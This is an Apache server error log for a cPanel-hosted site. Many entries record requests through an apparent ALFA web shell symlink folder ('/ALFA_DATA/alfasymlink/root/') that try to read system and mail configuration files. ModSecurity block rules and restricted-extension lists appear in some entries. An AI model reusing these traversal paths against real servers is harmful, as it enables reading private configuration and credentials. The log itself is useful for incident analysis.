[Mon Oct 26 18:20:10.648326 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.1.106.130:14066] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:20:14.725541 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.22.105.143:28506] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:20:22.641771 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 52.205.113.104:15317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/bind
[Mon Oct 26 18:20:34.695759 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.21.225.190:2200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:20:38.888302 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 3.218.35.239:20141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_rng/bind
[Mon Oct 26 18:20:55.109577 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.94.40.182:39854] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:02.796986 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.152.163.42:62604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:06.790009 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.232.82.72:25095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:10.794617 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.45.77.169:34677] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/new_id
[Mon Oct 26 18:21:14.906626 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.210.155.69:26819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:18.788547 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.21.175.228:60969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:23.010911 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.29.34.97:5644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:25.404578 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.194:54356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/alloc_calls
[Mon Oct 26 18:21:26.775534 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 52.45.92.83:47941] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Mon Oct 26 18:21:38.838874 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.205.141.124:49463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:41.063337 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 185.191.171.6:33952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:42.901783 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.220.2.97:51128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:21:46.943622 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 34.192.67.98:17772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/bind
[Mon Oct 26 18:21:59.942901 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.235.172.96:13186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:03.163905 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.7.33.248:31799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:06.907384 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.45.29.57:54514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:10.286696 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 85.208.96.208:11584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:14.969612 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.221.222.168:1837] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/unbind
[Mon Oct 26 18:22:18.920682 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 44.193.102.198:28446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/uevent
[Mon Oct 26 18:22:22.898660 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.211.105.134:35013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:27.233013 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.192.67.98:34860] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:30.910223 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.208.156.9:65123] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:22:35.493015 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.214.19.8:33943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:07.258713 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 100.28.49.152:59062] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:07.258937 2026] [security2:error] [pid 3084023:tid 3084023] [client 100.28.49.152:59062] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/memory2/phys_index"] [unique_id "at_Sy3Ms9DEewnALzGZ15gAAACM"]
[Mon Oct 26 18:23:07.258978 2026] [security2:error] [pid 3084023:tid 3084023] [client 100.28.49.152:59062] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/memory2/phys_index"] [unique_id "at_Sy3Ms9DEewnALzGZ15gAAACM"]
[Mon Oct 26 18:23:11.005203 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.218.103.254:30308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:15.434334 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.207.89.138:25986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:19.012041 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.3.104.214:60261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:31.373501 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.195.50.71:5404] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:43.201977 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.204.89.56:52560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:47.246284 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.205.74.196:54156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:51.688134 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 100.28.57.133:1295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/remove
[Mon Oct 26 18:23:51.732096 2026] [security2:error] [pid 3106856:tid 3106856] [client 111.225.214.190:32467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at_S9zDkl-Y9NiWKcXVWmAAAAAA"]
[Mon Oct 26 18:23:51.732142 2026] [security2:error] [pid 3106856:tid 3106856] [client 111.225.214.190:32467] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at_S9zDkl-Y9NiWKcXVWmAAAAAA"]
[Mon Oct 26 18:23:55.348676 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.6.97.88:19092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:23:59.270595 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.93.98.99:37110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:08.567386 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.228:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at_TCGl9busrkyxI7OQXjQAAAAI"]
[Mon Oct 26 18:24:08.567884 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.228:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at_TCGl9busrkyxI7OQXjQAAAAI"]
[Mon Oct 26 18:24:08.568218 2026] [security2:error] [pid 3089355:tid 3089355] [client 16.216.88.228:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/dovecot.conf"] [unique_id "at_TCGl9busrkyxI7OQXjQAAAAI"]
[Mon Oct 26 18:24:11.397377 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.164.106.236:35925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:19.578273 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 23.23.214.190:22685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:35.308785 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.197.114.76:39803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:39.490922 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 54.235.172.96:26571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/objects_partial
[Mon Oct 26 18:24:43.536883 2026] [ssl:error] [pid 3098114:tid 3098114] (22)Invalid argument: [client 34.205.170.13:19939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:47.576054 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.207.207.36:51742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:24:55.811045 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 98.83.8.142:20007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/device/driver/unbind
[Mon Oct 26 18:24:56.635246 2026] [authz_core:error] [pid 3106856:tid 3106856] [client 171.8.138.146:21262] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 18:24:59.326280 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.0.218.219:39305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:15.567186 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 54.85.109.140:61565] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:23.595068 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.3.155.146:41537] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:24.742977 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 185.191.171.9:29810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:31.600811 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.196.237.236:52819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:35.517177 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.238.45.183:21996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:39.708021 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.206.193.60:13748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:47.620739 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 100.29.107.38:51077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:25:55.857293 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 52.71.203.206:64531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS1/io_type
[Mon Oct 26 18:25:59.726278 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 44.217.177.142:59815] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource3
[Mon Oct 26 18:26:03.637153 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.45.92.83:44182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:26:12.174482 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.23.112.144:12402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:26:16.010257 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 85.208.96.198:45772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:26:27.910810 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 3.209.174.110:41114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:26:31.771625 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 3.222.190.107:41657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/unbind
[Mon Oct 26 18:26:40.066650 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.210.204.255:52869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:26:43.953784 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 35.174.253.85:24630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:07.737653 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.70.209.13:47338] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:11.761867 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.153.86.200:33348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:20.486352 2026] [ssl:error] [pid 3089355:tid 3089355] (22)Invalid argument: [client 52.0.105.244:13463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:36.077990 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 184.73.239.35:31533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:39.156382 2026] [security2:error] [pid 3084053:tid 3084053] [client 43.160.219.206:49440] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at_T2_Ctl1PgaN9A_9xLugAAADQ"]
[Mon Oct 26 18:27:39.806028 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.212.86.97:20376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:42.269534 2026] [security2:error] [pid 3084023:tid 3084023] [client 43.135.142.37:57954] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_T3nMs9DEewnALzGZ18AAAACM"]
[Mon Oct 26 18:27:42.271125 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 43.135.142.37:57954] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 18:27:47.683635 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 98.82.107.102:60790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:27:55.952154 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.205.213.231:12571] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:00.576738 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.45.77.169:45436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:03.790469 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.91.122.193:28476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:12.114692 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 23.23.104.107:14891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:15.713333 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.193.115.232:1600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:19.977106 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.203.152.231:13885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:27.884656 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 23.23.180.225:30154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:29.586463 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.210:49676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:30.693732 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.50:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at_UDq-38nK2hNeBrtRCBQAAAAE"]
[Mon Oct 26 18:28:30.694281 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.50:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at_UDq-38nK2hNeBrtRCBQAAAAE"]
[Mon Oct 26 18:28:30.695145 2026] [security2:error] [pid 3112229:tid 3112229] [client 16.216.88.50:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/debuginfo-install.conf"] [unique_id "at_UDq-38nK2hNeBrtRCBQAAAAE"]
[Mon Oct 26 18:28:35.785913 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.221.227.90:4987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:40.983690 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.215.59.93:8489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:28:43.703283 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 44.193.115.232:17935] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/serio0/drvctl
[Mon Oct 26 18:28:47.879870 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 98.84.184.80:27995] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/bind
[Mon Oct 26 18:28:55.867013 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.20.178.124:19346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:08.123142 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.82.59.253:2347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:11.683405 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.23.112.144:40890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/unbind
[Mon Oct 26 18:29:15.844221 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.204.253.129:2733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:20.179289 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.223.193.255:50690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:23.828115 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 18.206.47.187:22417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:30.899353 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.194:29212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/min_partial
[Mon Oct 26 18:29:32.402977 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.19:63656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/boot/System.map-4.18.0-240.15.1.el8_3.x86_64
[Mon Oct 26 18:29:32.637817 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.197.82.195:22775] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:32.638007 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.197.82.195:22775] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:01/wakeup/wakeup1/device/PNP0B00:00/uevent"] [unique_id "at_UTLHarSgES5WqcDhHTwAAAAU"]
[Mon Oct 26 18:29:32.638041 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.197.82.195:22775] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:01/wakeup/wakeup1/device/PNP0B00:00/uevent"] [unique_id "at_UTLHarSgES5WqcDhHTwAAAAU"]
[Mon Oct 26 18:29:35.743335 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.223.116.149:21283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:44.012507 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.227.234.246:19012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:29:58.372704 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 45.198.224.125:35684] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
